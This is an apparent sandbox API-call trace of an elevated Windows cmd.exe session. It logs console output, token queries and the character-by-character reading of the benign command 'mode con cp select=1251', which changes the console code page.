	[0068.320] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="(c) 2017 Microsoft Corporation. All rights reserved.", cchWideChar=-1, lpMultiByteStr=0x7ff682fc9970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="(c) 2017 Microsoft Corporation. All rights reserved.", lpUsedDefaultChar=0x0) returned 53
	[0068.320] WriteFile (in: hFile=0x254, lpBuffer=0x7ff682fc9970*, nNumberOfBytesToWrite=0x34, lpNumberOfBytesWritten=0x2786affb08, lpOverlapped=0x0 | out: lpBuffer=0x7ff682fc9970*, lpNumberOfBytesWritten=0x2786affb08*=0x34, lpOverlapped=0x0) returned 1
	[0068.320] _vsnwprintf (in: _Buffer=0x7ff682fd7f60, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x2786affb38 | out: _Buffer="\r\n") returned 2
	[0068.320] _get_osfhandle (_FileHandle=1) returned 0x254
	[0068.320] GetFileType (hFile=0x254) returned 0x3
	[0068.320] _get_osfhandle (_FileHandle=1) returned 0x254
	[0068.320] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x7ff682fc9970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3
	[0068.320] WriteFile (in: hFile=0x254, lpBuffer=0x7ff682fc9970*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x2786affb08, lpOverlapped=0x0 | out: lpBuffer=0x7ff682fc9970*, lpNumberOfBytesWritten=0x2786affb08*=0x2, lpOverlapped=0x0) returned 1
	[0068.320] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x7ff92fdd0000
	[0068.320] GetProcAddress (hModule=0x7ff92fdd0000, lpProcName="CopyFileExW") returned 0x7ff92fdee830
	[0068.320] GetProcAddress (hModule=0x7ff92fdd0000, lpProcName="IsDebuggerPresent") returned 0x7ff92fdee300
	[0068.320] GetProcAddress (hModule=0x7ff92fdd0000, lpProcName="SetConsoleInputExeNameW") returned 0x7ff92f1b0a40
	[0068.320] ??_V@YAXPEAX@Z () returned 0x1
	[0068.321] _get_osfhandle (_FileHandle=0) returned 0x248
	[0068.321] GetFileType (hFile=0x248) returned 0x3
	[0068.321] _setmode (_FileHandle=0, _Mode=32768) returned 16384
	[0068.321] NtOpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x8, OpenAsSelf=0, TokenHandle=0x2786aff978 | out: TokenHandle=0x2786aff978*=0x0) returned 0xc000007c
	[0068.321] NtOpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x8, TokenHandle=0x2786aff978 | out: TokenHandle=0x2786aff978*=0x94) returned 0x0
	[0068.321] NtQueryInformationToken (in: TokenHandle=0x94, TokenInformationClass=0x12, TokenInformation=0x2786aff928, TokenInformationLength=0x4, ReturnLength=0x2786aff930 | out: TokenInformation=0x2786aff928, ReturnLength=0x2786aff930) returned 0x0
	[0068.321] NtQueryInformationToken (in: TokenHandle=0x94, TokenInformationClass=0x1a, TokenInformation=0x2786aff930, TokenInformationLength=0x4, ReturnLength=0x2786aff928 | out: TokenInformation=0x2786aff930, ReturnLength=0x2786aff928) returned 0x0
	[0068.321] NtClose (Handle=0x94) returned 0x0
	[0068.321] FormatMessageW (in: dwFlags=0x1900, lpSource=0x0, dwMessageId=0x40002748, dwLanguageId=0x0, lpBuffer=0x2786aff940, nSize=0x0, Arguments=0x2786aff948 | out: lpBuffer="茠䌖Ƿ") returned 0xf
	[0068.321] GetProcessHeap () returned 0x1f743160000
	[0068.321] RtlAllocateHeap (HeapHandle=0x1f743160000, Flags=0x8, Size=0x218) returned 0x1f743166c30
	[0068.322] GetConsoleTitleW (in: lpConsoleTitle=0x2786aff990, nSize=0x104 | out: lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c
	[0069.579] wcsstr (_Str="C:\\WINDOWS\\system32\\cmd.exe", _SubStr="Administrator: ") returned 0x0
	[0069.579] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\WINDOWS\\system32\\cmd.exe") returned 1
	[0070.607] GetProcessHeap () returned 0x1f743160000
	[0070.607] RtlFreeHeap (HeapHandle=0x1f743160000, Flags=0x0, BaseAddress=0x1f743166c30) returned 1
	[0070.607] LocalFree (hMem=0x1f743168320) returned 0x0
	[0070.608] _vsnwprintf (in: _Buffer=0x7ff682fd7f60, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x2786aff7b8 | out: _Buffer="\r\n") returned 2
	[0070.608] _get_osfhandle (_FileHandle=1) returned 0x254
	[0070.608] GetFileType (hFile=0x254) returned 0x3
	[0070.608] _get_osfhandle (_FileHandle=1) returned 0x254
	[0070.608] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x7ff682fc9970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3
	[0070.608] WriteFile (in: hFile=0x254, lpBuffer=0x7ff682fc9970*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x2786aff788, lpOverlapped=0x0 | out: lpBuffer=0x7ff682fc9970*, lpNumberOfBytesWritten=0x2786aff788*=0x2, lpOverlapped=0x0) returned 1
	[0070.608] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x7ff682fcbb90, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4
	[0070.608] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x1f743260080 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17
	[0070.608] malloc (_Size=0x107ce) returned 0x1f743270060
	[0070.609] _vsnwprintf (in: _Buffer=0x1f743270060, _BufferCount=0x83e5, _Format="%s", _ArgList=0x2786aff7c8 | out: _Buffer="C:\\Users\\FD1HVy\\Desktop") returned 23
	[0070.609] _vsnwprintf (in: _Buffer=0x1f74327008e, _BufferCount=0x83ce, _Format="%c", _ArgList=0x2786aff7c8 | out: _Buffer=">") returned 1
	[0070.609] _get_osfhandle (_FileHandle=1) returned 0x254
	[0070.609] GetFileType (hFile=0x254) returned 0x3
	[0070.609] _get_osfhandle (_FileHandle=1) returned 0x254
	[0070.609] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\Desktop>", cchWideChar=-1, lpMultiByteStr=0x7ff682fc9970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\FD1HVy\\Desktop>", lpUsedDefaultChar=0x0) returned 25
	[0070.609] WriteFile (in: hFile=0x254, lpBuffer=0x7ff682fc9970*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x2786aff7b8, lpOverlapped=0x0 | out: lpBuffer=0x7ff682fc9970*, lpNumberOfBytesWritten=0x2786aff7b8*=0x18, lpOverlapped=0x0) returned 1
	[0070.609] _get_osfhandle (_FileHandle=0) returned 0x248
	[0070.609] GetFileType (hFile=0x248) returned 0x3
	[0070.609] _get_osfhandle (_FileHandle=0) returned 0x248
	[0070.609] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0070.609] ReadFile (in: hFile=0x248, lpBuffer=0x7ff682fc9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2786affb18, lpOverlapped=0x0 | out: lpBuffer=0x7ff682fc9970*, lpNumberOfBytesRead=0x2786affb18*=0x1, lpOverlapped=0x0) returned 1
	[0070.610] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff682fc9970, cbMultiByte=1, lpWideCharStr=0x7ff682fd3c30, cchWideChar=1 | out: lpWideCharStr="m") returned 1
	[0070.610] _get_osfhandle (_FileHandle=0) returned 0x248
	[0070.610] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0070.610] ReadFile (in: hFile=0x248, lpBuffer=0x7ff682fc9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2786affb18, lpOverlapped=0x0 | out: lpBuffer=0x7ff682fc9970*, lpNumberOfBytesRead=0x2786affb18*=0x1, lpOverlapped=0x0) returned 1
	[0070.610] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff682fc9970, cbMultiByte=1, lpWideCharStr=0x7ff682fd3c32, cchWideChar=1 | out: lpWideCharStr="o") returned 1
	[0070.610] _get_osfhandle (_FileHandle=0) returned 0x248
	[0070.610] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0070.610] ReadFile (in: hFile=0x248, lpBuffer=0x7ff682fc9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2786affb18, lpOverlapped=0x0 | out: lpBuffer=0x7ff682fc9970*, lpNumberOfBytesRead=0x2786affb18*=0x1, lpOverlapped=0x0) returned 1
	[0070.610] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff682fc9970, cbMultiByte=1, lpWideCharStr=0x7ff682fd3c34, cchWideChar=1 | out: lpWideCharStr="d") returned 1
	[0070.610] _get_osfhandle (_FileHandle=0) returned 0x248
	[0070.610] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0070.610] ReadFile (in: hFile=0x248, lpBuffer=0x7ff682fc9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2786affb18, lpOverlapped=0x0 | out: lpBuffer=0x7ff682fc9970*, lpNumberOfBytesRead=0x2786affb18*=0x1, lpOverlapped=0x0) returned 1
	[0070.610] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff682fc9970, cbMultiByte=1, lpWideCharStr=0x7ff682fd3c36, cchWideChar=1 | out: lpWideCharStr="e") returned 1
	[0070.610] _get_osfhandle (_FileHandle=0) returned 0x248
	[0070.610] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0070.610] ReadFile (in: hFile=0x248, lpBuffer=0x7ff682fc9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2786affb18, lpOverlapped=0x0 | out: lpBuffer=0x7ff682fc9970*, lpNumberOfBytesRead=0x2786affb18*=0x1, lpOverlapped=0x0) returned 1
	[0070.610] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff682fc9970, cbMultiByte=1, lpWideCharStr=0x7ff682fd3c38, cchWideChar=1 | out: lpWideCharStr=" ") returned 1
	[0070.610] _get_osfhandle (_FileHandle=0) returned 0x248
	[0070.610] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0070.610] ReadFile (in: hFile=0x248, lpBuffer=0x7ff682fc9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2786affb18, lpOverlapped=0x0 | out: lpBuffer=0x7ff682fc9970*, lpNumberOfBytesRead=0x2786affb18*=0x1, lpOverlapped=0x0) returned 1
	[0070.610] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff682fc9970, cbMultiByte=1, lpWideCharStr=0x7ff682fd3c3a, cchWideChar=1 | out: lpWideCharStr="c") returned 1
	[0070.610] _get_osfhandle (_FileHandle=0) returned 0x248
	[0070.610] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0070.611] ReadFile (in: hFile=0x248, lpBuffer=0x7ff682fc9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2786affb18, lpOverlapped=0x0 | out: lpBuffer=0x7ff682fc9970*, lpNumberOfBytesRead=0x2786affb18*=0x1, lpOverlapped=0x0) returned 1
	[0070.611] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff682fc9970, cbMultiByte=1, lpWideCharStr=0x7ff682fd3c3c, cchWideChar=1 | out: lpWideCharStr="o") returned 1
	[0070.611] _get_osfhandle (_FileHandle=0) returned 0x248
	[0070.611] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0070.611] ReadFile (in: hFile=0x248, lpBuffer=0x7ff682fc9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2786affb18, lpOverlapped=0x0 | out: lpBuffer=0x7ff682fc9970*, lpNumberOfBytesRead=0x2786affb18*=0x1, lpOverlapped=0x0) returned 1
	[0070.611] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff682fc9970, cbMultiByte=1, lpWideCharStr=0x7ff682fd3c3e, cchWideChar=1 | out: lpWideCharStr="n") returned 1
	[0070.611] _get_osfhandle (_FileHandle=0) returned 0x248
	[0070.611] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0070.611] ReadFile (in: hFile=0x248, lpBuffer=0x7ff682fc9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2786affb18, lpOverlapped=0x0 | out: lpBuffer=0x7ff682fc9970*, lpNumberOfBytesRead=0x2786affb18*=0x1, lpOverlapped=0x0) returned 1
	[0070.611] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff682fc9970, cbMultiByte=1, lpWideCharStr=0x7ff682fd3c40, cchWideChar=1 | out: lpWideCharStr=" ") returned 1
	[0070.611] _get_osfhandle (_FileHandle=0) returned 0x248
	[0070.611] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0070.611] ReadFile (in: hFile=0x248, lpBuffer=0x7ff682fc9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2786affb18, lpOverlapped=0x0 | out: lpBuffer=0x7ff682fc9970*, lpNumberOfBytesRead=0x2786affb18*=0x1, lpOverlapped=0x0) returned 1
	[0070.611] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff682fc9970, cbMultiByte=1, lpWideCharStr=0x7ff682fd3c42, cchWideChar=1 | out: lpWideCharStr="c") returned 1
	[0070.611] _get_osfhandle (_FileHandle=0) returned 0x248
	[0070.611] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0070.611] ReadFile (in: hFile=0x248, lpBuffer=0x7ff682fc9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2786affb18, lpOverlapped=0x0 | out: lpBuffer=0x7ff682fc9970*, lpNumberOfBytesRead=0x2786affb18*=0x1, lpOverlapped=0x0) returned 1
	[0070.611] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff682fc9970, cbMultiByte=1, lpWideCharStr=0x7ff682fd3c44, cchWideChar=1 | out: lpWideCharStr="p") returned 1
	[0070.611] _get_osfhandle (_FileHandle=0) returned 0x248
	[0070.611] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0070.611] ReadFile (in: hFile=0x248, lpBuffer=0x7ff682fc9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2786affb18, lpOverlapped=0x0 | out: lpBuffer=0x7ff682fc9970*, lpNumberOfBytesRead=0x2786affb18*=0x1, lpOverlapped=0x0) returned 1
	[0070.611] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff682fc9970, cbMultiByte=1, lpWideCharStr=0x7ff682fd3c46, cchWideChar=1 | out: lpWideCharStr=" ") returned 1
	[0070.611] _get_osfhandle (_FileHandle=0) returned 0x248
	[0070.611] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0070.612] ReadFile (in: hFile=0x248, lpBuffer=0x7ff682fc9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2786affb18, lpOverlapped=0x0 | out: lpBuffer=0x7ff682fc9970*, lpNumberOfBytesRead=0x2786affb18*=0x1, lpOverlapped=0x0) returned 1
	[0070.612] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff682fc9970, cbMultiByte=1, lpWideCharStr=0x7ff682fd3c48, cchWideChar=1 | out: lpWideCharStr="s") returned 1
	[0070.612] _get_osfhandle (_FileHandle=0) returned 0x248
	[0070.612] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0070.612] ReadFile (in: hFile=0x248, lpBuffer=0x7ff682fc9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2786affb18, lpOverlapped=0x0 | out: lpBuffer=0x7ff682fc9970*, lpNumberOfBytesRead=0x2786affb18*=0x1, lpOverlapped=0x0) returned 1
	[0070.612] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff682fc9970, cbMultiByte=1, lpWideCharStr=0x7ff682fd3c4a, cchWideChar=1 | out: lpWideCharStr="e") returned 1
	[0070.612] _get_osfhandle (_FileHandle=0) returned 0x248
	[0070.612] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0070.612] ReadFile (in: hFile=0x248, lpBuffer=0x7ff682fc9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2786affb18, lpOverlapped=0x0 | out: lpBuffer=0x7ff682fc9970*, lpNumberOfBytesRead=0x2786affb18*=0x1, lpOverlapped=0x0) returned 1
	[0070.612] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff682fc9970, cbMultiByte=1, lpWideCharStr=0x7ff682fd3c4c, cchWideChar=1 | out: lpWideCharStr="l") returned 1
	[0070.612] _get_osfhandle (_FileHandle=0) returned 0x248
	[0070.612] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0070.612] ReadFile (in: hFile=0x248, lpBuffer=0x7ff682fc9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2786affb18, lpOverlapped=0x0 | out: lpBuffer=0x7ff682fc9970*, lpNumberOfBytesRead=0x2786affb18*=0x1, lpOverlapped=0x0) returned 1
	[0070.612] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff682fc9970, cbMultiByte=1, lpWideCharStr=0x7ff682fd3c4e, cchWideChar=1 | out: lpWideCharStr="e") returned 1
	[0070.612] _get_osfhandle (_FileHandle=0) returned 0x248
	[0070.612] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0070.612] ReadFile (in: hFile=0x248, lpBuffer=0x7ff682fc9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2786affb18, lpOverlapped=0x0 | out: lpBuffer=0x7ff682fc9970*, lpNumberOfBytesRead=0x2786affb18*=0x1, lpOverlapped=0x0) returned 1
	[0070.612] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff682fc9970, cbMultiByte=1, lpWideCharStr=0x7ff682fd3c50, cchWideChar=1 | out: lpWideCharStr="c") returned 1
	[0070.612] _get_osfhandle (_FileHandle=0) returned 0x248
	[0070.612] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0070.612] ReadFile (in: hFile=0x248, lpBuffer=0x7ff682fc9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2786affb18, lpOverlapped=0x0 | out: lpBuffer=0x7ff682fc9970*, lpNumberOfBytesRead=0x2786affb18*=0x1, lpOverlapped=0x0) returned 1
	[0070.612] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff682fc9970, cbMultiByte=1, lpWideCharStr=0x7ff682fd3c52, cchWideChar=1 | out: lpWideCharStr="t") returned 1
	[0070.612] _get_osfhandle (_FileHandle=0) returned 0x248
	[0070.612] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0070.613] ReadFile (in: hFile=0x248, lpBuffer=0x7ff682fc9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2786affb18, lpOverlapped=0x0 | out: lpBuffer=0x7ff682fc9970*, lpNumberOfBytesRead=0x2786affb18*=0x1, lpOverlapped=0x0) returned 1
	[0070.613] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff682fc9970, cbMultiByte=1, lpWideCharStr=0x7ff682fd3c54, cchWideChar=1 | out: lpWideCharStr="=") returned 1
	[0070.613] _get_osfhandle (_FileHandle=0) returned 0x248
	[0070.613] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0070.613] ReadFile (in: hFile=0x248, lpBuffer=0x7ff682fc9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2786affb18, lpOverlapped=0x0 | out: lpBuffer=0x7ff682fc9970*, lpNumberOfBytesRead=0x2786affb18*=0x1, lpOverlapped=0x0) returned 1
	[0070.613] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff682fc9970, cbMultiByte=1, lpWideCharStr=0x7ff682fd3c56, cchWideChar=1 | out: lpWideCharStr="1") returned 1
	[0070.613] _get_osfhandle (_FileHandle=0) returned 0x248
	[0070.613] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0070.613] ReadFile (in: hFile=0x248, lpBuffer=0x7ff682fc9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2786affb18, lpOverlapped=0x0 | out: lpBuffer=0x7ff682fc9970*, lpNumberOfBytesRead=0x2786affb18*=0x1, lpOverlapped=0x0) returned 1
	[0070.613] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff682fc9970, cbMultiByte=1, lpWideCharStr=0x7ff682fd3c58, cchWideChar=1 | out: lpWideCharStr="2") returned 1
	[0070.613] _get_osfhandle (_FileHandle=0) returned 0x248
	[0070.613] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0070.613] ReadFile (in: hFile=0x248, lpBuffer=0x7ff682fc9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2786affb18, lpOverlapped=0x0 | out: lpBuffer=0x7ff682fc9970*, lpNumberOfBytesRead=0x2786affb18*=0x1, lpOverlapped=0x0) returned 1
	[0070.613] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff682fc9970, cbMultiByte=1, lpWideCharStr=0x7ff682fd3c5a, cchWideChar=1 | out: lpWideCharStr="5") returned 1
	[0070.613] _get_osfhandle (_FileHandle=0) returned 0x248
	[0070.613] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0070.613] ReadFile (in: hFile=0x248, lpBuffer=0x7ff682fc9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2786affb18, lpOverlapped=0x0 | out: lpBuffer=0x7ff682fc9970*, lpNumberOfBytesRead=0x2786affb18*=0x1, lpOverlapped=0x0) returned 1
	[0070.613] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff682fc9970, cbMultiByte=1, lpWideCharStr=0x7ff682fd3c5c, cchWideChar=1 | out: lpWideCharStr="1") returned 1
	[0070.613] _get_osfhandle (_FileHandle=0) returned 0x248
	[0070.613] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0070.613] ReadFile (in: hFile=0x248, lpBuffer=0x7ff682fc9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2786affb18, lpOverlapped=0x0 | out: lpBuffer=0x7ff682fc9970*, lpNumberOfBytesRead=0x2786affb18*=0x1, lpOverlapped=0x0) returned 1
	[0070.613] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff682fc9970, cbMultiByte=1, lpWideCharStr=0x7ff682fd3c5e, cchWideChar=1 | out: lpWideCharStr="\n") returned 1
	[0070.614] _get_osfhandle (_FileHandle=0) returned 0x248
	[0070.614] GetFileType (hFile=0x248) returned 0x3
	[0070.614] _get_osfhandle (_FileHandle=0) returned 0x248
	[0070.614] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0070.614] _get_osfhandle (_FileHandle=1) returned 0x254
	[0070.614] GetFileType (hFile=0x254) returned 0x3
	[0070.614] _get_osfhandle (_FileHandle=1) returned 0x254
	[0070.614] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="mode con cp select=1251\n", cchWideChar=-1, lpMultiByteStr=0x7ff682fc9970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mode con cp select=1251\n", lpUsedDefaultChar=0x0) returned 25
	[0070.614] WriteFile (in: hFile=0x254, lpBuffer=0x7ff682fc9970*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x2786affab8, lpOverlapped=0x0 | out: lpBuffer=0x7ff682fc9970*, lpNumberOfBytesWritten=0x2786affab8*=0x18, lpOverlapped=0x0) returned 1
	[0070.614] GetProcessHeap () returned 0x1f743160000
	[0070.614] RtlAllocateHeap (HeapHandle=0x1f743160000, Flags=0x8, Size=0x4012) returned 0x1f743168fe0
	[0070.614] GetProcessHeap () returned 0x1f743160000
	[0070.614] RtlFreeHeap (HeapHandle=0x1f743160000, Flags=0x0, BaseAddress=0x1f743168fe0) returned 1
	[0070.615] _wcsicmp (_String1="mode", _String2=")") returned 68
	[0070.615] _wcsicmp (_String1="FOR", _String2="mode") returned -7
	[0070.615] _wcsicmp (_String1="FOR/?", _String2="mode") returned -7
	[0070.615] _wcsicmp (_String1="IF", _String2="mode") returned -4
	[0070.615] _wcsicmp (_String1="IF/?", _String2="mode") returned -4
	[0070.615] _wcsicmp (_String1="REM", _String2="mode") returned 5
	[0070.615] _wcsicmp (_String1="REM/?", _String2="mode") returned 5
	[0070.615] GetProcessHeap () returned 0x1f743160000
	[0070.615] RtlAllocateHeap (HeapHandle=0x1f743160000, Flags=0x8, Size=0xb0) returned 0x1f743168320
	[0070.615] GetProcessHeap () returned 0x1f743160000
	[0070.615] RtlAllocateHeap (HeapHandle=0x1f743160000, Flags=0x8, Size=0x1a) returned 0x1f743166a80
	[0070.616] GetProcessHeap () returned 0x1f743160000
	[0070.616] RtlAllocateHeap (HeapHandle=0x1f743160000, Flags=0x8, Size=0x38) returned 0x1f743161850
	[0070.616] GetConsoleOutputCP () returned 0x1b5
	[0071.105] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff682fcfbb0 | out: lpCPInfo=0x7ff682fcfbb0) returned 1
	[0071.105] SetThreadUILanguage (LangId=0x0) returned 0x409
	[0071.838] GetConsoleTitleW (in: lpConsoleTitle=0x2786aff900, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\WINDOWS\\system32\\cmd.exe") returned 0x2b
	[0072.694] malloc (_Size=0xffce) returned 0x1f743280840
	[0072.694] ??_V@YAXPEAX@Z () returned 0x1f743280840
